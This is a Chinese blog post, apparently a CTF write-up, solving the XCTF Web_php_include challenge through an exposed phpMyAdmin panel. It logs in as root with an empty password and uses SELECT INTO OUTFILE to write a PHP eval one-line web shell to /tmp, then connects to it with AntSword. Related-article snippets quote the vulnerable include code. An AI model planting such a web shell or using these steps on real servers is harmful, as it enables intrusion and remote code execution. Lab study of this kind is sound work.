【XCTF高手进阶区】web4_Web_php_include writeup（三）

最新推荐文章于 2026-08-08 16:16:05 发布
原创 最新推荐文章于 2026-08-08 16:16:05 发布 · 384 阅读 · 0 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
收录于
CTF

当前文章被收录于：

CTF
52 篇文章 15 人学习
订阅专栏 查看详情
本文介绍了一种通过SQL注入技术实现一句话木马的上传方法，并详细展示了利用phpmyadmin平台进行操作的具体步骤。

web4_Web_php_include

原题链接

key:SQL注入+一句话木马

 

此题其他解法👇

XCTF高手进阶区 web4_Web_php_include writeup（一）

XCTF高手进阶区 web4_Web_php_include writeup（二）

XCTF高手进阶区 web4_Web_php_include writeup（四）

 

①又双叒叕是这道题，不过这一次我们我们用一个更加风骚的解法

老话说得好，如果没思路了就去扫描一下👇

扫描发现了phpmyadmin后台👆

 

②双击它进入登录页面

username为root，password为空，登录👇

 

③进入SQL语句输入的地方

先输入并执行如下SQL语句👇

show variables like "secure_file_priv"

phpmyadmin变量secure_file_priv值为空，说明可以写入一句话木马

 

④编辑一句话木马并执行

select "<?php eval($_POST['shell']); ?>"into outfile '/tmp/Mitchell.php'

传🐎成功

为什么传🐎的目录是tmp

 

⑤用蚁剑连接👇

一眼就找到了flag文件👇

 

 

 

CTF网络安全竞赛：从零基础到实战精通的系统化学习路径
weixin_33770878的博客
07-31 583
网络安全的核心在于理解系统与应用的潜在风险，其原理涉及对软件漏洞、协议缺陷和加密机制的深入分析。掌握这些技术对于构建安全防线、进行渗透测试和漏洞挖掘具有重要价值，广泛应用于企业安全评估、红蓝对抗和合规审计等场景。在实战演练中，CTF竞赛通过模拟真实攻防环境，成为检验与提升这些技能的高效平台。本文聚焦于Web渗透中的命令执行漏洞和SQL注入等关键技术点，系统梳理了从环境搭建、工具使用到各方向（Web、逆向、密码学、二进制）的进阶路线，为学习者提供了一条清晰的实战成长路径。
XCTF攻防世界 Web高手进阶区 PHP2 writeup
Senimo
03-30 616
XCTF攻防世界 Web高手进阶区 NaNNaNNaNNaN-Batman writeup PHP2 难度系数： 2.0 题目来源： 暂无 题目描述：暂无 启动靶机，打开环境： 你能浏览这个网站嘛？ 首先访问index.php，可以正常访问，尝试查看index.phps文件（.phps文件就是php的源代码文件，通常用于提供给访问者查看php代码）: 得到网页的源代码，分析代码： 需要传入变量...
攻防世界 web进阶区 writeup
cherish的技术博
04-20 636
目录php_rce php_rce 参考链接 根据提示看应该是tp5的远程命令/代码执行漏洞 然后网上搜下payload。 emmm分析我是看不懂的。
Web_php_include(write up)
m0_70819573的博客
02-14 135
很明显，用get传了两个参数，hello,page,且过滤了一些php伪协议,echo函数回显hello的值,不能用伪协议，include函数会自动包含文件，并执行其中的php代码，而index.php是唯一可利用的文件。漏洞原理：php文件包含。2.于是有payload。1.首先，审计代码。
【XCTF高手进阶区】web4_Web_php_include writeup（二）
Mitchell_Donovan的博客
01-28 2216
web4_Web_php_include 原题链接 key:data://伪协议执行命令 ①打开页面还是那串代码???? <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 但是这次我们选择另一种
攻防世界 Web_php_include write up
giaogiao123的博客
02-19 480
首先看题目注意两点 1要get方式提交page 2要绕过strstr()函数，要绕过str_replace函数因为他会把php://换成空 3文件包含（要想到一句话木马） 先补充一些知识关于php：//input 因为strstr是对大小写敏感的,用大写PHP绕过检测，同时绕过str_replace函数 strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是...
XCTF-高手进阶区：Web_php_include
1stPeak's Blog
03-02 679
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 看源码，可能是不想让我们使用php://in...
XCTF攻防世界 Web高手进阶区 第一部分 writeup
Senimo
03-29 3995
XCTF攻防世界 Web高手进阶区 第一部分 writeupbaby_webTraining-WWW-Robotsphp_rceWeb_php_includewarmupNewsCenter baby_web 难度系数：1.0 题目来源： 暂无 题目描述：想想初始页面是哪个 启动场景： http://111.198.29.45:45285/1.php 可以看到进入的页面是1.php，提示为初始...
【XCTF高手进阶区】web4_Web_php_include writeup（四）
Mitchell_Donovan的博客
01-28 421
web4_Web_php_include 原题链接 key:data://伪协议+一句话木马 ①又双叒叕又双叒叕是这道题，不过这次用的是比前三个都秀的解法 还记得在（二）中我们用到的data://伪协议吗 不记得的话先来复习一下吧???? data://伪协议 ????直接形式 data://text/plain,<?php 执行内容 ?> ????base64加密形式 data://text/plain;base64,执行内容加密后的代码 ②这一次既不需要sy
【XCTF高手进阶区】web4_Web_php_include writeup（一）
Mitchell_Donovan的博客
01-27 457
web4_Web_php_include 原题链接 key:文件包含 ①页面打开后是一串php代码???? <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 先来简单了解一下本题涉及到的几个ph
XCTF：Web_php_include[WriteUP]
如有错误感谢斧正
12-07 452
分析源码：1.变量$page的值由$_GET方式获得2.strstr函数的功能是查找字符串,查询到为真，否则为假该函数查找方法区分大小写，例：PHP!= pHp而还有一个跟它很像的stristr函数，是不区分大小写的，例：PHP == pHp3.str_place函数的功能是查找变量中是否存在某字符串并替换。
攻防世界 web php include,XCTF攻防世界 Web Writeup （持续更新中）
weixin_27875131的博客
03-09 573
新手练习区view-sourceF12得到flag。get_postHackBar一把梭。robots访问robots.txt发现隐藏文件，进入该文件获得flag。backupindex.php的备份文件应该是index.php.bak，访问一下发现果然是，用记事本打开下载的文件得到flag。cookie看一下请求头发现cookie.php访问cookie.php，在响应头中有flag。disab...
CTF竞赛全解析：从入门到实战的安全技术指南
最新发布
weixin_33841503的博客
08-08 348
CTF（Capture The Flag）是网络安全领域的技术竞技形式，通过模拟真实漏洞场景，培养参赛者的实战能力。其核心原理包括漏洞挖掘、权限提升等渗透测试技术，在Web安全、逆向工程、密码学等方向具有广泛应用。对于安全从业者而言，CTF不仅能提升PHP反序列化、RSA攻击等具体技能，更能培养系统性安全思维。当前主流赛事分为Jeopardy解题赛、Attack-Defense攻防赛和Real-World场景赛三大类型，涵盖从基础技能到企业级网络防护的全方位训练。通过Docker环境搭建和自动化脚本开发，参
【XCTF 攻防世界】WEB 高手进阶区 Web_php_include
weixin_45844670的博客
08-23 2052
目录基础题解本题相关知识点：一题多解：**php文件包含****一句话木马****data://伪协议**data://伪协议+一句话木马 基础题解 <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 上面这段
攻防世界web Web_php_include writeup
qq_45837896的博客
07-18 237
看题目所给，页面会把所有传入页面url的php://给替换掉 查询php://得知应该是php伪协议的知识点 从官网得知data://伪协议从而不使用php:// 用法：data://text/plain;base64, 也就是说页面会执行后面的base64代码 ...
【CTF工具】GitHack下载安装与使用（windows下）
Mitchell_Donovan的博客
04-24 8532
下载方法 ①从github官网下载https://github.com/lijiejie/GitHack ②从codechina镜像站下载https://codechina.csdn.net/mirrors/lijiejie/githack 使用方法 下载之后解压缩，并通过cmd使用 具体操作???? ①win+R打开cmd终端，进入githack的目录下 ②使用如下代码进行下载???? python GitHack.py http://www.openssl.org(目标网址)/.g
【CTF工具】GitHack下载安装与使用（linux下）
Mitchell_Donovan的博客
04-24 6273
下载方法 ①直接通过git下载 git clone https://github.com/lijiejie/GitHack ②通过git镜像站下载 git clone https://github.com.cnpmjs.org/lijiejie/GitHack 使用方法 ①打开终端，进入到GitHacker的目录下 ②运行如下代码???? python GitHack.py http://www.openssl.org(目标网址)/.git/ 执行后会在本目录生成以网址为名字的文
【CTF工具】网址扫描器dirsearch下载安装与使用（linux下）
Mitchell_Donovan的博客
04-26 5564
dirsearch是一个python开发的目录扫描工具 和我们平时使用的dirb、御剑之类的工具一样，就是为了扫描网站的敏感文件和目录从而找到突破口 Linux下的使用教程如下： 下载安装 打开linux终端输入以下代码???? git clone https://github.com/maurosoria/dirsearch.git 使用说明 在终端中打开dirsearch文件夹???? cd dirsearch/ 输入下列命令开始网址扫描???? ./dirsearch.
【环境搭建】Burpsuite抓不到包的解决方案汇总
Mitchell_Donovan的博客
11-03 3816
如果端口被占用，Burp在默认情况下就无法工作了，因此需要更换端口监听和代理，比如将8080更换为8081，Burp和Firefox两边都需要设置。Firefox端和上面步骤一样，不再赘述。替换成这几个地址，再次尝试抓包即可。以Linux系统为例，在终端中输入。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Mitch311

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值